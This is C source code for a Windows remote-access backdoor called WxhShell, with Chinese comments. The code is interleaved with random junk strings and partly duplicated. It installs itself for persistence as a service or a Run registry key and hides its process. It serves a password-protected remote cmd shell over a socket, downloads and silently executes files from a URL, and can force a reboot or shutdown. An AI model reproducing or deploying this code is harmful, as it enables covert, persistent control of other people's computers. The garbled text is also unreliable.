(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y,n&g45m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |ZC@l^a7 K!g!tA$ if (!NtQueryInformationProcess) return 0; %=e^MN1 6 b-'Hu i+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9(eTCe-~6 if(!hProcess) return 0; (.^KuXd )jm!bR` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o+*7Q! m?GBvL$ CloseHandle(hProcess); 3:qn\"Hj Bre:_>* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1K\zamBg if(hProcess==NULL) return 0; (}*1,N!# [+;>u| HMODULE hMod; o 4P>t2' char procName[255]; Z@(m.&ZRx unsigned long cbNeeded; q[}W&t, _O#R,Y2# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tK7v&[cI CT{mzC8 CloseHandle(hProcess); erlg\-H b,hRk1 if(strstr(procName,"services")) return 1; // 以服务启动 "*8>` 6 E 1EiSxf return 0; // 注册表启动 hik.c3 } i4Da 'Uk ?'I-_9u // 主模块 ?uh%WN6nU] int StartWxhshell(LPSTR lpCmdLine) 5J~@jPU { tZ>'tE SOCKET wsl; ,Jrm85oG BOOL val=TRUE; }y>/#]X int port=0; -J":'xCP! struct sockaddr_in door; l3N '@GO &0x;60b if(wscfg.ws_autoins) Install(); &iO53I^r/ q~. .Z Y`7 port=atoi(lpCmdLine); j6GR-WQ]t Lky T4HC8n if(port<=0) port=wscfg.ws_port; 1EMrXnv, T&ib]LmR WSADATA data; pnpf/T{xpM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Esdv+f}4; K |^OnM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >)t-Zh:n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K!a7Hg door.sin_family = AF_INET; @yNCWa~N door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7*eIs2aY door.sin_port = htons(port); L-`?=- 9` Z x&= K" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g?rK&UTU closesocket(wsl); D\Fu4Eg return 1; )O ,+'w? } .h-k*F0Ga) Dco3`4pl if(listen(wsl,2) == INVALID_SOCKET) { J\?d+}hynX closesocket(wsl); 2m,t<Y; return 1; +{\b&q_ } UYH&x:WEd Wxhshell(wsl); ~p { fl? WSACleanup(); ua!RwSo xJ^pqb return 0; OouR4 W]5sqtF;6 } Z8:'_#^@a[ COL_c<\ // 以NT服务方式启动 rsD?
;XzH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @<$_X1)s { ]#\/1!W DWORD status = 0; |?LUt@r; DWORD specificError = 0xfffffff; =c#;c+a Ym
wb2]M serviceStatus.dwServiceType = SERVICE_WIN32; Wdp4'rB serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]g]~!": serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Es&'c1$^s serviceStatus.dwWin32ExitCode = 0; y^:6D(SR serviceStatus.dwServiceSpecificExitCode = 0; J5zu}U? serviceStatus.dwCheckPoint = 0; $uUJV% EX serviceStatus.dwWaitHint = 0; R 5Cy% 7jPn6uz>w hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0E`6g6xMS if (hServiceStatusHandle==0) return; pbNW
l/|4 hQLh}}B status = GetLastError(); +||[H)qym if (status!=NO_ERROR) wb6$R};? { u\@L|rh serviceStatus.dwCurrentState = SERVICE_STOPPED; fj[tm serviceStatus.dwCheckPoint = 0; EK}QjY[i serviceStatus.dwWaitHint = 0; ;Rd\yAG serviceStatus.dwWin32ExitCode = status; }>m3V2>[ serviceStatus.dwServiceSpecificExitCode = specificError; y0
qq7Dmu SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ffr6P
}I return; 6EkD(w } &;@U54,wV &:Sb$+z serviceStatus.dwCurrentState = SERVICE_RUNNING; 1~9AQ[]w8 serviceStatus.dwCheckPoint = 0; .iH#8Z
serviceStatus.dwWaitHint = 0; OuU ]A[r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xj;5i
Vq } %M;{+90p>t ATf{;S} // 处理NT服务事件,比如:启动、停止 "6P- 0CJ VOID WINAPI NTServiceHandler(DWORD fdwControl) *,p16"Q; { l|K`'YS!<{ switch(fdwControl) }S>:!9f { n`g:dz case SERVICE_CONTROL_STOP: !FR1yO'd> serviceStatus.dwWin32ExitCode = 0; ,__|SnA. serviceStatus.dwCurrentState = SERVICE_STOPPED; Y$6W~j serviceStatus.dwCheckPoint = 0; 0Z>oiBr4 serviceStatus.dwWaitHint = 0; 4!tHJCq" { 1Qgd^o:d SetServiceStatus(hServiceStatusHandle, &serviceStatus); >zWVM1\\j } sTGe=}T8 return; N3g?gb"Ex) case SERVICE_CONTROL_PAUSE: =Pgu?WU@ serviceStatus.dwCurrentState = SERVICE_PAUSED; QprzlxB break; 7<%Rx19L* case SERVICE_CONTROL_CONTINUE: hX@.k|Yd serviceStatus.dwCurrentState = SERVICE_RUNNING; [/I1%6; break; >SZ9,K4Gs case SERVICE_CONTROL_INTERROGATE: )SYZ*=ezl. break; to*<W,I }; Q{Lsr, SetServiceStatus(hServiceStatusHandle, &serviceStatus); R0*+GIRA( } n"{oj7E0a SAGLLk07G // 标准应用程序主函数 84*Fal~Som int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kV Z5>D$ { E5 0$y: =7`0hS<@F // 获取操作系统版本 W[3)B(Vq<E OsIsNt=GetOsVer(); xbA% 'p GetModuleFileName(NULL,ExeFile,MAX_PATH); ;{inhiySN cnOk // 从命令行安装 KCed!OJ+ if(strpbrk(lpCmdLine,"iI")) Install(); cuP5cL/Y Xsc5@O! // 下载执行文件 YA>du=6y\ if(wscfg.ws_downexe) { Z qg(\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U{>eE8l WinExec(wscfg.ws_filenam,SW_HIDE); tnmuCz } Mr(~
* +mT}};-TS if(!OsIsNt) { #={L!"3?e // 如果时win9x,隐藏进程并且设置为注册表启动 ^"%SHs HideProc(); SJ-g2aAT StartWxhshell(lpCmdLine); $0Y&r]' } hqY9\,.C else <8At= U if(StartFromService()) 0\jOg // 以服务方式启动 )8yee~+TN StartServiceCtrlDispatcher(DispatchTable); [lA[wCw else
Tc)T0dRP // 普通方式启动 v[6 BESu StartWxhshell(lpCmdLine); <P5;8 dTaR8i return 0; 38Z"9 } l#o43xr
*ftJ( +c\s%Gzrh FV$= l
% =========================================== $YSD%/c &bj :,$@ ),\>'{~5& Ytx+7OLe _'H<zZo {7eKv+30 " :<&}/r z[v5hhI)4 #include <stdio.h> 2ZtqZ64i #include <string.h> *!9/`zW #include <windows.h> $hSu~}g #include <winsock2.h> YC=BP5^ #include <winsvc.h> 7^iF,N #include <urlmon.h> R~w(] MmWJYF= #pragma comment (lib, "Ws2_32.lib") pN0c'COy^ #pragma comment (lib, "urlmon.lib") d<7J)zUm3 Lf 0Hz") #define MAX_USER 100 // 最大客户端连接数 % C
3jxt #define BUF_SOCK 200 // sock buffer 1~ SY #define KEY_BUFF 255 // 输入 buffer `8dE8:#Y ~#a1]w #define REBOOT 0 // 重启 zW0AB8l #define SHUTDOWN 1 // 关机 :LBe{Jbw Yn<0D|S;X #define DEF_PORT 5000 // 监听端口 doR'=@ W rIb[gm)Rk #define REG_LEN 16 // 注册表键长度 p fBO5Ys #define SVC_LEN 80 // NT服务名长度 3K?0PRg rd,mbH[<C // 从dll定义API owMH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z}Z`kq+C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #h3+T*5} 6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S-rqrbr|AT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f0D Ch] VNYLps@4H // wxhshell配置信息 huF L [ struct WSCFG { m|]^f;7z int ws_port; // 监听端口 =O;SXzgE char ws_passstr[REG_LEN]; // 口令 k(
g$_ ]X int ws_autoins; // 安装标记, 1=yes 0=no &16bZw char ws_regname[REG_LEN]; // 注册表键名 &1h3o^K char ws_svcname[REG_LEN]; // 服务名 Vd?v"2S(9 char ws_svcdisp[SVC_LEN]; // 服务显示名 .d"+M{I char ws_svcdesc[SVC_LEN]; // 服务描述信息 oba*w; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \9}5}X_x. int ws_downexe; // 下载执行标记, 1=yes 0=no Un/fP1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {cv;S2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b;t]k9:"L !n{c#HfG }; b{I`$E<[ <=inogf // default Wxhshell configuration /J+)P<_ A struct WSCFG wscfg={DEF_PORT, AfEEYP)N "xuhuanlingzhe", xI<dBg|]+ 1, ]T51;j'48 "Wxhshell", .]e6TFsrO "Wxhshell", >ek%P;2w> "WxhShell Service", +wUhB\F
* "Wrsky Windows CmdShell Service", YW{V4yW "Please Input Your Password: ", {T.Vu]L80 1, h(8;7}K "http://www.wrsky.com/wxhshell.exe", -{*V)J_Co "Wxhshell.exe" Uu
X"AFy~\ }; Dq?HUb^X be/1-=m // 消息定义模块 [~<',,tA0| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ee_\_" char *msg_ws_prompt="\n\r? for help\n\r#>"; GzXP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FqsjuU@l char *msg_ws_ext="\n\rExit."; 12PE{Mut char *msg_ws_end="\n\rQuit."; X{xJ*T y' char *msg_ws_boot="\n\rReboot..."; |I}+!DDuv char *msg_ws_poff="\n\rShutdown..."; a1`cI5n char *msg_ws_down="\n\rSave to "; 9,5II0N L (<C%5xk char *msg_ws_err="\n\rErr!"; |2<f<k/UT char *msg_ws_ok="\n\rOK!"; 'TrrOq4 \.1b\\ char ExeFile[MAX_PATH]; (bt]GAxb1 int nUser = 0; /V<`L HANDLE handles[MAX_USER]; G`#gV"PlC int OsIsNt; LXC`Zq\ W79A4l< SERVICE_STATUS serviceStatus; ePRM v SERVICE_STATUS_HANDLE hServiceStatusHandle; thPH_DW>eb (MoTG^MrBY // 函数声明 YaZt+WA int Install(void); i>Bi&azx int Uninstall(void); c;rp@_ULG? int DownloadFile(char *sURL, SOCKET wsh); ~}0hN]*G int Boot(int flag); EjX'&"3. void HideProc(void); ).!14Gjo int GetOsVer(void); SfobzX}~Jh int Wxhshell(SOCKET wsl); n{Qh8" void TalkWithClient(void *cs); UVCMB_T int CmdShell(SOCKET sock); q3-;}+ int StartFromService(void); ;]ShC\1 int StartWxhshell(LPSTR lpCmdLine); lMzCDx!m 31sgf5 s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A Wh*<H VOID WINAPI NTServiceHandler( DWORD fdwControl ); fI
d) l6B ^sc*@ // 数据结构和表定义 ]6%%X+$7 SERVICE_TABLE_ENTRY DispatchTable[] = yFU2'pB { _ K+V?-= {wscfg.ws_svcname, NTServiceMain}, 5-5(`OZ{' {NULL, NULL} uU ?37V }; aH PSnB& T3t~=b>&L // 自我安装 d! QD vO int Install(void) Bx}0E { gjegzKU char svExeFile[MAX_PATH]; (_&V9vat= HKEY key; >_0 i=.\ strcpy(svExeFile,ExeFile); jdg
~!<C !Ir1qt8T // 如果是win9x系统,修改注册表设为自启动 &X]=Qpl if(!OsIsNt) { G\:psx/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }u3H4S<o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fy_<Ui RegCloseKey(key); ok>P [
&! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J<($L}T*$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3dxnh,]&@ RegCloseKey(key); 4j@kMe;RjZ return 0; l\sS? } D#/%*| } @RoRNat } Xc9p;B>^Ts else { (w#slTFT J+cAS/MYX // 如果是NT以上系统,安装为系统服务 Y( V3PnH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tJh3$K\ if (schSCManager!=0) iFwyh`Bcg { |`k1zc)9 SC_HANDLE schService = CreateService !rsa4t@t ( "%}Gy>; schSCManager, G>[
NZE wscfg.ws_svcname, e\^g|60f_ wscfg.ws_svcdisp, ^z *):e SERVICE_ALL_ACCESS, 43{_Y] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <*A|pns SERVICE_AUTO_START, yBPt%EF SERVICE_ERROR_NORMAL, %0+h svExeFile, Y0Hq+7x NULL, +(=0CA0GE NULL, a+YR5*&[OO NULL, Q{.{#G NULL, 2,8/Cb NULL hs!UX=x| ); J$6-c'8 if (schService!=0) r
1l/) ; { KrdZEi vb CloseServiceHandle(schService); 7x[LF ^o CloseServiceHandle(schSCManager); Ism^hyL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [)Z'N/;0 strcat(svExeFile,wscfg.ws_svcname); >-_:*/66! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l)tTg+: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1a($8> RegCloseKey(key); lgkl? 0! return 0; ;mf4U85 } &Q-[; } 3W7;f! CloseServiceHandle(schSCManager); RLYU\@kK? } :X'*8,]KHH } B`?N,N" kq) +@p return 1; j3*M!fM9 } 'GEBxNH: U}tl_5%) // 自我卸载 L#
`lQ"`K int Uninstall(void) T"L0Iy!k; { A[u)wX^`f^ HKEY key; 1*C:hg@ 5SoZ$,a<e if(!OsIsNt) { cZNi~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u~$WH, P3 RegDeleteValue(key,wscfg.ws_regname); qSFc=Wwc RegCloseKey(key); 1 L+=|*: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [leW/2i RegDeleteValue(key,wscfg.ws_regname); |HrM_h<X RegCloseKey(key); N=OS\pz return 0; YS]>_ } T?W[Z_D } RY9+ 9i } `d75@0: else { z7-`Y9Ypd :|Z$3q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 54<6Dy f if (schSCManager!=0) ;*y|8od
B { c]6V"Bo}A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %oAL if (schService!=0) ,`;jvY~Ec { ;(K if(DeleteService(schService)!=0) { aGpCNc{+ CloseServiceHandle(schService); A:kkCG!~Nf CloseServiceHandle(schSCManager); `'uUmyg return 0; N*~_\x } kt:)W])V CloseServiceHandle(schService); >Z *iE"9" } k]Zo-xh4 CloseServiceHandle(schSCManager); >B0D/:R9 } 6G'<[gL
j } D,k(~ Xad*Iulj return 1; Am=wEu[b } Ejq=*UOP fCB:733H // 从指定url下载文件 [#0Yt/G int DownloadFile(char *sURL, SOCKET wsh) p"KU7-BfvC { \yM-O- { HRESULT hr; 3@G;'|z char seps[]= "/"; Xtft*Z char *token; Qu`n& char *file; Yb}w;F8( char myURL[MAX_PATH]; mG_BM/$ char myFILE[MAX_PATH]; gA_krK,Z L!g DFZr strcpy(myURL,sURL); h2% J/69 token=strtok(myURL,seps); vXb: while(token!=NULL) ]c}=5m/ { ob'n{T+lZ file=token; +3Y!xD?= token=strtok(NULL,seps); Z v4<b } Y;,Hzmbs6w a+41Ojv ( GetCurrentDirectory(MAX_PATH,myFILE); %w7m\nw@ strcat(myFILE, "\\"); ,d|vP)SS strcat(myFILE, file); h~w4, T send(wsh,myFILE,strlen(myFILE),0); YdI0E send(wsh,"...",3,0); < A?<N?%o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v)):$s?WB if(hr==S_OK) o'Pu'y return 0; y? "@v. else cOkgoL" 4 return 1; ?U_9{}r x l0DN{PG } &x0C4Kh 3sFeP& // 系统电源模块 u g\w\b int Boot(int flag) BDe]18X { B
wC+ov= HANDLE hToken; ?+r!z TOKEN_PRIVILEGES tkp; W&(f&{A :[sOKV i if(OsIsNt) { $D'^t( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `tE^jqrke5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5j eO"jB tkp.PrivilegeCount = 1; 2yKz-"E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t)N;'v & AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ug*D52? if(flag==REBOOT) { B8m_'!;; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =MLf[ return 0; Bf]$X>d } 1pP1d% else { PJgp+u< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )NT5yF,m return 0; t`G)b&3_O } E=u/tpj
} ip``v0Nf else { f:xWu- if(flag==REBOOT) { 7>i2OBkAhB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9<s4yZF@x return 0; 8LJ{i% } |d7$*7TvV else { !e3YnlE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6^#uLp> return 0; ?a.+j8pbGg } [VSU"AJY } 4h|dHXYZ feEMg return 1; I^3:YVR& } #Hu~}zy xx8U$,Ng // win9x进程隐藏模块 :b/jNHJU void HideProc(void) pOga6'aB) { c
~Fdx f h<*8w0H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D59T?B|BdD if ( hKernel != NULL ) \cuS>G { ULBg{e?l8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F}X0', ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oRq!=eUu_ FreeLibrary(hKernel); +MUwP(U=w } !.Zt[ g} {CUk1+ return; 5bX6#5uP1 } cHD%{xlb .%xzT J=! // 获取操作系统版本 i$UQbd int GetOsVer(void) p!W[X%`) { 1BTIJ G w OSVERSIONINFO winfo; @q8an winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >a>fb|r GetVersionEx(&winfo); IcF@F>> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) smU4jh9S return 1; 61K"(r~ else kA#vByf`v return 0; G<qIY&D' } J7&DR^.Sw wH6u5*$p // 客户端句柄模块 9$l>\.6 int Wxhshell(SOCKET wsl) &__DJ''+ { Yx)o:#2 SOCKET wsh; K"{HseN{ struct sockaddr_in client; %mI~
=^za DWORD myID; XZph%j0o d;G~hVu while(nUser<MAX_USER) =Hu0v}i/ { z,Lzgh int nSize=sizeof(client); @}LZ! y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [*Ju3 if(wsh==INVALID_SOCKET) return 1; [ygF0-3ND
,=%nw]: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dy9\O77> if(handles[nUser]==0) Tz-X o closesocket(wsh); QT!5l` else LtKB v4 nUser++; pR$6,Vi } grcbH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Omyt2`q TMj4w,g4 return 0; jj&s}_75 } T0e<Slo~C T[uDZYx // 关闭 socket v[ ,Src void CloseIt(SOCKET wsh) H5xzD9K;/C { ?b:_AO& closesocket(wsh); Z!{UWegun nUser--; O!F]^'! ExitThread(0); !{%G0(Dv } f`P9ku#j} hu@7?f_"L/ // 客户端请求句柄 h=+$>_&: void TalkWithClient(void *cs) hC<14 { n Wgv~{,x :`W|hE^ SOCKET wsh=(SOCKET)cs; ')TPF{\# char pwd[SVC_LEN]; 3LK%1+)4 char cmd[KEY_BUFF]; SI-X[xf char chr[1]; A"l{?;~ int i,j; R}{GwbF_\ #gv4
while (nUser < MAX_USER) { A WJWtUa v5$s#f< if(wscfg.ws_passstr) { -
q@69q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m_lrPY- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2{o10eL //ZeroMemory(pwd,KEY_BUFF); 5
2Hqu> i=0; S+I^!gT while(i<SVC_LEN) { #Z9L_gDp G[yI*/E; // 设置超时 8LrK94 fd_set FdRead; 2p< Aj! struct timeval TimeOut; iuAq.$oi{ FD_ZERO(&FdRead); Sb"2Im > FD_SET(wsh,&FdRead); &3DK^|Lq TimeOut.tv_sec=8; :5#
V^\3* TimeOut.tv_usec=0; Q7a(P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pes =aw if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tov&68A~e w|Qd` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c> ~:dcy pwd=chr[0]; ;z>p8N if(chr[0]==0xd || chr[0]==0xa) { J$[Q?8
ka pwd=0; ;Bs^iL break; 5~}!@yzc
} \E
hr@g i++; h~UJCnzS } nVOqn\m- J/kH%_ >Ir // 如果是非法用户,关闭 socket 0XIxwc0Iw if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]w22@s } yT:!%\F9 yazZw}}; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _*`q(dYcf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L@A9{,9Pl 0yQe5i} while(1) { +x]e-P% PqfVX8/q0 ZeroMemory(cmd,KEY_BUFF); ^!uO(B& ^H!Lp[5c // 自动支持客户端 telnet标准 %ck`0JZAP j=0; d*9j77C ] while(j<KEY_BUFF) { i./Y w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); viV-e$s`. cmd[j]=chr[0]; 0w}{(P; if(chr[0]==0xa || chr[0]==0xd) { B;c=eMw cmd[j]=0; .v
l="< break; U_Y;fSl> }
5KaSWw/ j++; 8b~7~VCk } )"~=7)~<^ OR~G Ov| // 下载文件 OfLM if(strstr(cmd,"http://")) { rgn|24x send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gx|Dql if(DownloadFile(cmd,wsh)) Is
kSX send(wsh,msg_ws_err,strlen(msg_ws_err),0); =U_@zDD@V else 9/H^t*5t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oHRbAE^ } vT}pbOTh
else { =ZrjK=K GiFf0c
9 switch(cmd[0]) { Y?e3B x7*b l58l // 帮助 o"f%\N0_8 case '?': { jaNH](V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m9cj7 break; "pl[(rc+u } "$4hv6 s // 安装 E.Pje@d case 'i': { ur`}v|ZY if(Install()) _"`uqW79 send(wsh,msg_ws_err,strlen(msg_ws_err),0);
*X0K2| else +*Q9.LjV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W *|OOa' break; xQZMCd } 0n7HkDo // 卸载 <"{+ case 'r': { '1qAZkz if(Uninstall()) dUUPhk0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.w#X else ` 3vN R" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJBW: 2=; break; ^glbxbhI4 } GF9ZL // 显示 wxhshell 所在路径 Vl&+/-V case 'p': { lu<Np9/5< char svExeFile[MAX_PATH]; AW]("pt strcpy(svExeFile,"\n\r"); DKf}47y strcat(svExeFile,ExeFile); zS,%msT^A send(wsh,svExeFile,strlen(svExeFile),0); B6^w{eXN break; K7n;Zb:BR } mw2rSU I{ // 重启 <x.]OZgO case 'b': { Sj,4=a send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I67k M{V if(Boot(REBOOT)) N}eU.#L send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~x76{.gT else { l;"ub^AH closesocket(wsh); eYnLZ&H5O ExitThread(0); *8pe<:A#p } S"I#>^ break; xP<H,og&x= } Qu,)wfp~ // 关机 9`hpa-m@ case 'd': { :*^(OnIe send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mmh nw(/ if(Boot(SHUTDOWN)) *m `KU+o-u send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.1&Ff)S else { LRfFn^FPM closesocket(wsh); )x9nED{ ExitThread(0); '_Hb}'sFI } =rs=8Ty?S break; P:bVcta9g } >TH-Q[ // 获取shell * wQZ' case 's': { n?7hp%} CmdShell(wsh); T-<> )N5y closesocket(wsh); CU}
q&6h ExitThread(0); )%nt61P\W break; #lLn='4 } D8<0zxc=( // 退出 oeRYyJ case 'x': { ^OGH5@" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oPC IlH CloseIt(wsh); ;]8p:ME break; } SWA|x } ~Krg8s!F& // 离开 ,vHX>)M| case 'q': {
4 I]/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); XEe+&VQmY closesocket(wsh); 5p(t") WSACleanup(); 5y
'ycTjY exit(1); !:!@dC%8_ break; ?8aWUgl } {f6A[ZO; J } &_Xv:? } [{d[f| h<z/LL8| // 提示信息 -`ys pE0? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z|4@nqqX } _sD]Viqc } UmHJ/DI@ q;He:vX return; D9pxe qf+= } pC?1gc1G ";!1(xZr // shell模块句柄 Wb-'E%K int CmdShell(SOCKET sock) .L5T4) { /`]|_>' STARTUPINFO si; MCO$>QL ZeroMemory(&si,sizeof(si)); HT;QepY3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D;;o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qI/r_ PROCESS_INFORMATION ProcessInfo; A`ertSlbhe char cmdline[]="cmd"; -|iA!w#31 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]oZ,{Q5~ return 0; #I@[^^Vw } `OpC-Z& pU)3*9?cIl // 自身启动模式 sN an" int StartFromService(void) zdQu%q { JqV<A3i typedef struct +^3L~? { z@S8H6jM)S DWORD ExitStatus; sOtNd({ DWORD PebBaseAddress; 1:l&&/Wy DWORD AffinityMask; z_iyuLRdb DWORD BasePriority; HW%bx"r+4f ULONG UniqueProcessId; 7-0twq
ULONG InheritedFromUniqueProcessId; !z6/.>QJ~ } PROCESS_BASIC_INFORMATION; 4O,a`:d1$6 g7q]Vj PROCNTQSIP NtQueryInformationProcess; Ognq*[om ng)yCa_Ny static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q~8&pP8I! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g&(~MD2{ G&@RLht HANDLE hProcess; ra#)*fG,~ PROCESS_BASIC_INFORMATION pbi; 0JWD] " :usBeho HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :s5<AT Q if(NULL == hInst ) return 0; ENF@6] :zy'hu; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &=t(NI$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?ut juMdl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,OFr]74\ v7I*W/ if (!NtQueryInformationProcess) return 0; -`1L[-<d=/ YVV $g-D} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cO?"
if(!hProcess) return 0; :s985sEv /
{bK*A! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (ZR"O8 yXQ;LQ; CloseHandle(hProcess); "TNUw&ih w)>z3Lm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v-aq".XQ if(hProcess==NULL) return 0; .
